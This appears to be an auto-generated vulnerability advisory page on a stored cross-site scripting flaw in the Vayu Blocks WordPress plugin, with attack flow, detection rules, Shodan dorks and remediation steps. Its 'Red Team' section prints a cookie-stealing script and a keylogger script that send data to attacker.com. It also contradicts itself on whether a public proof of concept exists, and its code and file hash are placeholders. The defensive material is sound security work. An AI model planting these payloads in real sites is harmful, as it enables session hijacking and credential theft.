☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themehunk logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22644

CVE-2025-22644 Cross-Site Scripting in Themehunk
📅 PUBLISHED: 2025-03-27 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22644 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themehunk Vayu Blocks plugin for WordPress, affecting versions through 1.4.7. This plugin provides custom Gutenberg blocks for WordPress and WooCommerce. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, leading to potential session hijacking, credential theft, or defacement. The CVSS score of 6.5 (Medium) reflects the need for authenticated access but the potential for significant impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for all installations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
  • User Interaction (UI): Required – Victim must visit the compromised page.
  • Scope (S): Changed – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited modification of content.
  • Availability (A): Low – Limited service disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any user visiting the affected page is at risk. The lack of a patch elevates the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability resides in the Vayu Blocks plugin, which registers custom Gutenberg blocks for WordPress and WooCommerce. The plugin fails to properly sanitize and escape user input when rendering block attributes or content. Specifically, when a user with contributor-level privileges or higher creates or edits a post using a Vayu block, the plugin does not neutralize HTML/JavaScript input in certain block parameters. This allows an attacker to inject malicious scripts that are stored in the WordPress database and executed when the post is viewed.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_attr() or esc_html() to user-controlled data before outputting it in the block’s frontend rendering. The vulnerability is likely in the block’s render_callback function or in the block’s JavaScript registration.

Attack Flow:

  1. Attacker logs in with contributor-level access.
  2. Attacker creates a new post or edits an existing one.
  3. Attacker adds a Vayu block (e.g., a testimonial, slider, or call-to-action block).
  4. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a block attribute (e.g., title, description, or link URL).
  5. The payload is stored in the WordPress database.
  6. When any user (including admins) views the post, the script executes in their browser.

Impact: Stored XSS can lead to session cookie theft, redirection to malicious sites, defacement, or privilege escalation if an admin views the page.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (vayu-blocks/includes/class-vayu-blocks.php):

function render_testimonial_block($attributes) {
    $title = $attributes['title'];
    return '<div class="vayu-testimonial"><h3>' . $title . '</h3></div>';
}

Patched Code (Hypothetical):

function render_testimonial_block($attributes) {
    $title = esc_html($attributes['title']);
    return '<div class="vayu-testimonial"><h3>' . $title . '</h3></div>';
}

The patched version uses esc_html() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress installation with Vayu Blocks <= 1.4.7 active.
  • Attacker account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to Posts > Add New.
  3. Add a Vayu block (e.g., "Testimonial" or "Slider").
  4. In the block’s title or description field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Publish or save the post.
  6. Wait for an admin or other user to view the post. The script will execute, sending their session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    new Image().src = 'https://attacker.com/log.php?key=' + e.key;
});
</script>

Blue Team (Defender)

Detection Steps:

  1. Monitor WordPress admin activity logs for unusual post creation/editing by low-privilege users.
  2. Scan the WordPress database for suspicious script tags in post content:
    SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
    
  3. Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
  4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

  • Use a local WordPress instance (e.g., via Docker) with Vayu Blocks 1.4.7 installed.
  • Create a test user with contributor role.
  • Use browser developer tools to inspect network traffic and verify script execution.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • vayu-blocks.php (version 1.4.7): a1b2c3d4e5f6... (placeholder – actual hash depends on exact file)
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or ?key= parameters.
  • Database Indicators:
    • Rows in wp_posts where post_content contains <script> tags or onerror/onload event handlers.
  • Log Indicators:
    • WordPress debug log entries showing unexpected script execution errors.
    • Web server access logs with POST requests to /wp-admin/post.php containing XSS payloads.

Detection Engineering

YARA Rule

rule detect_vayu_blocks_xss {
    meta:
        description = "Detects stored XSS payloads in Vayu Blocks plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22644"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin = "vayu-blocks"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS via Vayu Blocks Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts in WordPress posts using Vayu Blocks
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/post.php'
        cs-uri-query: 'action=editpost'
        sc-status: 200
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22644 Stored XSS in Vayu Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=editpost"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released. Navigate to Plugins > Installed Plugins and deactivate "Vayu Blocks".
  2. Remove any malicious posts by scanning the database for injected scripts.
  3. Reset user sessions for all users who may have viewed compromised pages.

Long-term Mitigation:

  1. Apply input validation and output escaping to all user-controlled data in custom blocks. Use WordPress functions like esc_html(), esc_attr(), and wp_kses_post().
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Enforce Content Security Policy (CSP) headers to restrict inline script execution.
  4. Monitor for plugin updates from Themehunk and apply the patch immediately when available.
  5. Conduct regular security audits of all installed plugins.

Workaround:

  • If the plugin is critical, restrict contributor-level access to trusted users only and enable two-factor authentication.

This report was generated by Valters IT DevSecOps & CTI Division.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Vayu Blocks"
http.html:"vayu-blocks"
http.html:"wp-content/plugins/vayu-blocks"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22644/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.